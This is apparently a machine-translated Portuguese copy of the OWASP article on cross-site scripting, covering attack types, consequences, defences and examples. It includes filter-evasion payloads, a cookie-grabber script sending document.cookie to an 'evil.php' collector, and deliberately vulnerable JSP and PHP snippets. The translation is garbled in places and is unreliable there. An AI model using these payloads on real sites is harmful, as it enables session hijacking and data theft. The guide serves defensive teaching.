Heading

Overview

Ataques de XSS (Cross-Site Scripting) são um tipo de injecção, em que os scripts são injectados em sites benignos e fiduciários. Os ataques XSS ocorrem quando um atacante usa uma aplicação web para enviar código malicioso, geralmente sob a forma de um script do lado do navegador, para um utilizador final diferente. As falhas que permitem que estes ataques sejam bem sucedidos são generalizadas e ocorrem em qualquer lugar onde uma aplicação web usa a entrada de auser dentro da saída que gera sem a validar ou codificá-la.

Um atacante pode usar XSS para enviar um script malicioso a um utilizador insuspeito. O navegador do utilizador final não tem forma de saber que o script não deve ser confiável, e executará o script. Porque pensa que o script veio de uma fonte de confiança, o script malicioso pode aceder a quaisquer coquetéis, fichas de sessão, ou outra informação sensível retida pelo navegador e utilizada com esse sítio. Estes scripts podem até reescrever o conteúdo da página HTML. Para mais detalhes sobre os diferentes tipos de XSSflaws, ver: Tipos de Cross-Site Scripting.

Como evitar as Vulnerabilidades de Cross-site Scripting

• XSS (Cross Site Scripting) Prevention Cheat Sheet
• DOM based XSS Prevention Cheat Sheet
• OWASP Development Guide article on Data Validation
• OWASP Development Guide article on Phishing

Como rever o Código para Cross-Vulnerabilidades de scripting do sítio

Veja o Guia de Revisão do Código OWASP.

Como testar as Vulnerabilidades de Scripting Crosssite

Ver o último artigo do Guia de Testes OWASP sobre como testar os vários tipos de vulnerabilidades XSS.

• Testar_para_Reflectida_Cross_site_scripting
• Testar_para_Cross_site_scripting
• Testar_para_Cross_site_scripting baseado em DOM

Descrição

Testar_para_Cross-Site Scripting (XSS) quando os ataques ocorrem:

1. Os dados entram numa aplicação Web através de uma fonte não confiável, mais frequentemente um pedido Web.
2. Os dados são incluídos em conteúdo dinâmico que é enviado a um utilizador Web sem ser validado para conteúdo malicioso.

O conteúdo malicioso enviado para o navegador Web assume frequentemente a forma de um segmento de JavaScript, mas pode também incluir HTML, Flash, ou qualquer outro tipo de código que o navegador possa executar. A variedade de ataques baseados em XSS é quase ilimitada, mas normalmente incluem a transmissão de dados privados, como cookies ou outras informações de sessão, para o teattacker, redireccionando a vítima para conteúdo web controlado pelo teattacker, ou realizando outras operações maliciosas na máquina do utilizador sob o disfarce do site vulnerável.

Ataques XSS armazenados e reflectidos

Ataques XSS podem geralmente ser categorizados em duas categorias: armazenados e reflectidos. Existe um terceiro tipo, muito menos conhecido de ataque XSS chamado DOM Based XSS que é discutido separadamente aqui.

Ataques XSS armazenados

Ataques armazenados são aqueles em que o script injectado é armazenado permanentemente nos servidores alvo, tais como numa base de dados, num fórum de mensagens, registo de visitantes, campo de comentários, etc. A vítima recupera então o maliciousscript do servidor quando solicita a informação armazenada. StoredXSS também é por vezes referido como Persistente ou Type-I XSS.

Ataques XSS redireccionados

Ataques redireccionados são aqueles em que o script injectado é reflectido fora do servidor web, tal como numa mensagem de erro, resultado de pesquisa, ou qualquer outra resposta que inclua algum ou todo o input enviado para o servidor a aspart do pedido. Os ataques reflectidos são entregues às vítimas através de outra via, tal como numa mensagem de correio electrónico, ou em qualquer outro website. Quando um utilizador é induzido a clicar num link malicioso, submetendo uma forma especialmente elaborada, ou mesmo apenas navegando para um site malicioso, o código injectado viaja para o site vulnerável, o que reflecte o ataque de volta ao navegador do utilizador. O navegador executa então o código porque veio de um servidor “de confiança”. O XSS Reflectido também é por vezes referido como Não-Persistente ou Tipo-II XSS.

Outros Tipos de Vulnerabilidades XSS

Além do XSS Armazenado e Reflectido, outro tipo de XSS, DOM BasedXSS foi identificado por Amit Kleinin 2005. OWASPrecommends the XSS categorization as described in the OWASP Article:Types of Cross-Site Scripting, que cobre todos estes termos XSS, organizando-os numa matriz de Stored vs. ReflectedXSS e Server vs. Client XSS, onde DOM Based XSS é um subconjunto de ClientXSS.

XSS Attack Consequences

A consequência de um ataque XSS é a mesma, independentemente de ser armazenado ou reflectido (ou baseado em DOM). A diferença está na forma como a carga útil chega ao servidor. Não se deixe enganar por pensar que um sítio “só de leitura” ou “brochura” não é vulnerável a graves ataques XSS reflectidos. O XSS pode causar uma variedade de problemas para o utilizador final que variam em gravidade desde um incómodo até um compromisso de conta completo. Os ataques XSS mais graves envolvem a divulgação do cookie da sessão do utilizador, permitindo a um atacante sequestrar a sessão do utilizador e tomar conta da conta. Outros ataques prejudiciais incluem a divulgação de ficheiros do utilizador final, instalação de programas de cavalos de Tróia, redireccionar o utilizador para outra página ou site, ou modificar a apresentação do conteúdo. Uma vulnerabilidade XSS que permita a um atacante tomodificar um comunicado de imprensa ou notícia pode afectar o preço das acções de uma empresa ou diminuir a confiança do consumidor. Uma vulnerabilidade XSS num site farmacêutico poderia permitir a um atacante modificar a informação de dosagem, resultando numa overdose. Para mais informações sobre estes tipos de ataques verContent_Spoofing.

How to Determine If You Are Vulnerable

XSS flaws can be difficult to identify and remove from a webapplication. A melhor maneira de encontrar falhas é efectuar uma revisão de segurança do código e procurar todos os locais onde a entrada de um pedido HTTP possa eventualmente fazer o seu caminho para a saída HTML. Note que uma variedade de tags HTML diferentes pode ser utilizada para transmitir um JavaScript.Nessus malicioso, Nikto, e algumas outras ferramentas disponíveis podem ajudar a procurar estas falhas num website, mas só podem riscar a superfície. Se uma parte do sítio web é vulnerável, há uma grande probabilidade de que também existam outros problemas.

Como proteger-se

As defesas primárias contra XSS são descritas na CheatSheet de Prevenção de XSS do OWASP.

Além disso, é crucial que se desligue o suporte do HTTP TRACE em todos os servidores web. Um atacante pode roubar dados cookie via Javascript mesmo que o whendocument.cookie esteja desactivado ou não seja suportado pelo cliente. Este ataque é montado quando um utilizador coloca um script malicioso num fórum, de modo que quando um outro utilizador clica no link, é activada uma chamada HTTP Trace assíncrona que recolhe a informação cookie do utilizador a partir do servidor, e depois envia-a para outro servidor malicioso que recolhe a informação cookie para que o atacante possa montar um ataque de sequestro de sessão.Isto é facilmente mitigado pela remoção do suporte para HTTP TRACE em todos os servidores web.

O projecto OWASP ESAPI produziu um conjunto de componentes de segurança reutilizáveis em várias línguas, incluindo validação e rotinas de fuga para evitar a manipulação de parâmetros e a injecção de ataques XSS. Além disso, a aplicação de formação do Projecto OWASP WebGoat tem lições sobre o Cross-Site Scripting e a codificação de dados.

Alternate XSS Syntax

XSS Using Script in Attributes

Ataques XSS podem ser conduzidos sem utilizar <script>...</script>tags. Outras etiquetas farão exactamente a mesma coisa, por exemplo:<body onload=alert('test1')> ou outros atributos como: onmouseoveronerror.

onmouseover

<b onmouseover=alert('Wufff!')>click me!</b>

onerror

<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>

XSS Usando Esquemas de URI Codificados

Se precisarmos de nos esconder contra filtros de aplicações web, podemos tentar codificar caracteres, e.g.: a=&\#X41 (UTF-8) e utilizá-lo em IMG tags:

<IMG SRC=j&#X41vascript:alert('test2')>

Há muitas notações de codificação UTF-8 diferentes que nos dão até morepossibilidades.

XSS Usando Codificação de Código

Podemos codificar o nosso script na base64 e colocá-lo em META tag. Desta forma, livramo-nos de alert() totalmente. Mais informação sobre este método pode ser encontrada em RFC 2397

<META HTTP-EQUIV="refresh"CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">

Estes e outros exemplos podem ser encontrados na Folha de Controlo de Evasão OWASP XSS Filter Evasion Cheat Sheet que é uma verdadeiraencyclopedia do ataque de sintaxe XSS alternativa.

Exemplos

Ataques de scripts cross-site podem ocorrer em qualquer lugar em que possivelmente os utilizadores maliciosos estejam autorizados a publicar material não regulamentado num website de confiança para o consumo de outros utilizadores válidos.

O exemplo mais comum pode ser encontrado em websites de quadro de avisos que fornecem funcionalidades de listas de correio baseadas na web.

Exemplo 1

O seguinte segmento de código JSP lê um ID de funcionário, eid, de um pedido HTTP e apresenta-o ao utilizador.

<% String eid = request.getParameter("eid"); %>...Employee ID: <%= eid %>

O código neste exemplo funciona correctamente se eid contiver apenas texto alfanumérico normalizado. Se eid tiver um valor que inclua caracteresmeta ou código fonte, então o código será executado pelo browserweb, uma vez que exibe a resposta HTTP.

Inicialmente, isto pode não parecer ser uma grande vulnerabilidade. Afinal de contas, porque é que alguém introduziria um URL que causa a execução de código malicioso no seu próprio computador? O verdadeiro perigo é que um atacante crie um URL malicioso, depois use o e-mail ou truques de engenharia social para atrair as vítimas a visitar um link para o URL. Quando as vítimas clicam no link, reflectem involuntariamente o conteúdo malicioso através da aplicação da web vulnerável de volta para os seus próprios computadores. Este mecanismo de exploração de aplicações web vulneráveis é conhecido como Reflected XSS.

Exemplo 2

O seguinte segmento de código JSP consulta uma base de dados para um empregado com ID de Agiven e imprime o nome do empregado correspondente.

<%... Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery("select * from emp wherename");%>Employee Name: <%= name %>

Como no Exemplo 1, este código funciona correctamente quando os valores do namorado são bem comportados, mas não faz nada para evitar explorações se não forem. Mais uma vez, este código pode parecer menos perigoso porque o valor do nome é lido a partir de uma base de dados, cujo conteúdo é aparentemente gerido pela aplicação. No entanto, se o valor do nome tiver origem em dados fornecidos pelo utilizador, então a base de dados pode ser um canal para o conteúdo malicioso. Sem a devida validação de entrada em todos os dados armazenados na base de dados, um atacante pode executar comandos maliciosos no navegador web do utilizador. Este tipo de exploração, conhecido como Stored XSS, é particularmente insidioso porque a indireção causada pelo armazenamento de dados torna moralmente difícil identificar a ameaça e aumenta a possibilidade de o ataque afectar múltiplos utilizadores. O XSS teve o seu início nesta forma com sítios Web que ofereciam um “livro de visitas” aos visitantes. Os atacantes incluiriamJavaScript nas suas entradas do livro de visitas, e todos os visitantes subsequentes à página do livro de visitas executariam o código malicioso.

Como os exemplos demonstram, as vulnerabilidades do XSS são causadas por código que inclui dados não validados numa resposta HTTP. Há três vectores pelos quais um ataque XSS pode atingir uma vítima:

• Como no Exemplo 1, os dados são lidos directamente do pedido HTTP e reflectidos de volta na resposta HTTP. As explorações XSS reflectidas ocorrem quando um atacante faz com que um utilizador forneça conteúdo perigoso a uma aplicação web avulnerável, que é depois reflectido de volta para o utilizador e executado pelo navegador da web. O mecanismo mais comum para o fornecimento de conteúdo malicioso é incluí-lo como parâmetro na aURL que é publicada publicamente ou enviada directamente por correio electrónico às vítimas. URLsconstruídos desta forma constituem o núcleo de muitos phishingschemes, em que um atacante convence as vítimas a visitar um URL que reflicta a um sítio vulnerável. Depois de o sítio reflectir o conteúdo do agressor de volta ao utilizador, o conteúdo é executado e procede à transferência de informações privadas, tais como cookies que podem incluir informações sobre a posse, da máquina do utilizador para o agressor ou realizar outras actividades nefastas.

li>Como no Exemplo 2, a aplicação armazena dados perigosos numa base de dados ou outro armazenamento de dados fiável. Os dados perigosos são subsequentemente reintegrados na aplicação e incluídos no conteúdo dinâmico. As explorações do StoredXSS ocorrem quando um atacante injecta conteúdo perigoso numa loja de adata que é posteriormente lido e incluído em conteúdo dinâmico. Da perspectiva de um atacante, o local ideal para injectar conteúdo malicioso é numa área que é exibida a muitos utilizadores ou a utilizadores particularmente interessantes. Os utilizadores interessantes têm tipicamente privilégios na aplicação ou interagem com dados sensitivos que são valiosos para o atacante. Se um destes utilizadoressexecutar conteúdo malicioso, o agressor pode ser capaz de executar operações privilegiadas em nome do utilizador ou obter acesso a dados sensíveis pertencentes ao utilizador.

• Uma fonte fora da aplicação armazena dados perigosos numa base de dados ou noutro armazém de dados, e os dados perigosos são subsequentemente readmitidos na aplicação como dados de confiança e incluídos no conteúdo dinâmico.

Ataque Exemplos

Exemplo 1: Cookie Grabber

Se a aplicação não validar os dados de entrada, o atacante canasamente rouba um cookie a um utilizador autenticado. Tudo o que o atacante tem de fazer é colocar o seguinte código em qualquer entrada postada (ou seja: painéis de mensagens, mensagens privadas, perfis de utilizador):

<SCRIPT type="text/javascript">var adr = '../evil.php?cakemonster=' + escape(document.cookie);</SCRIPT>

O código acima passará um conteúdo escapado do cookie (de acordo com o conteúdoRFC deve ser escapado antes de ser enviado através do protocolo HTTP com o GETmethod) para o script evil.php na variável “cakemonster”. O attackerthen verifica os resultados do seu script evil.php (um script de captura de cookies irá normalmente escrever o cookie num ficheiro) e utilizá-lo.

Error Page Example

Let’s assume que temos uma página de erro, que está a tratar de pedidos fora de páginas não existentes, uma página de erro clássica 404. Podemos usar o codebelow como exemplo para informar o utilizador sobre que página específica falta:

<html><body><? phpprint "Not found: " . urldecode($_SERVER);?></body></html>

Vejamos como funciona: http://testsite.test/file_which_not_existEm resposta obtemos: Not found: /file_which_not_exist

Agora vamos tentar forçar a página de erro a incluir o nosso código: http://testsite.test/<script>alert("TEST");</script>O resultado é: Not found: / (but with JavaScript code <script>alert("TEST");</script>)

Injectámos com sucesso o código, o nosso XSS! O que é que isso significa? Forexample, que podemos usar esta falha para tentar roubar o coquetel de sessão de um utilizador.

• Ataques de XSS
• Invocando código móvel não confiável
• Manipulação do Histórico do Local Cruzado (XSHM)

• Validação de Dados de Implantação
• Tipos de Cross-Site Scripting
• OWASP Development Guide article on Data Validation
• OWASP Development Guide article on Phishing

li>Data Validation/ul>
• OWASP’s XSS (Cross Site Scripting) Prevention Cheat Sheet
• Testing_for_Reflected_Cross_site_scripting
• Testing_for_Stored_Cross_site_scripting
• Testing_for_DOM-based_Cross_site_scripting

li>O Cross Site Scripting FAQli>OWASP XSS Filter Evasion Cheat Sheet li>CERT Advisory on Malicious HTML Tagsli>CERT “Understanding Malicious Content Mitigationli>Uentendendo a causa e o efeito das Vulnerabilidades do CSSli> XSSed – Cross-Site Scripting (XSS) Information and Mirror Archive of Vulnerable Websites

Category:InjectionCategory:OWASP Top Ten ProjectCategory:Ataque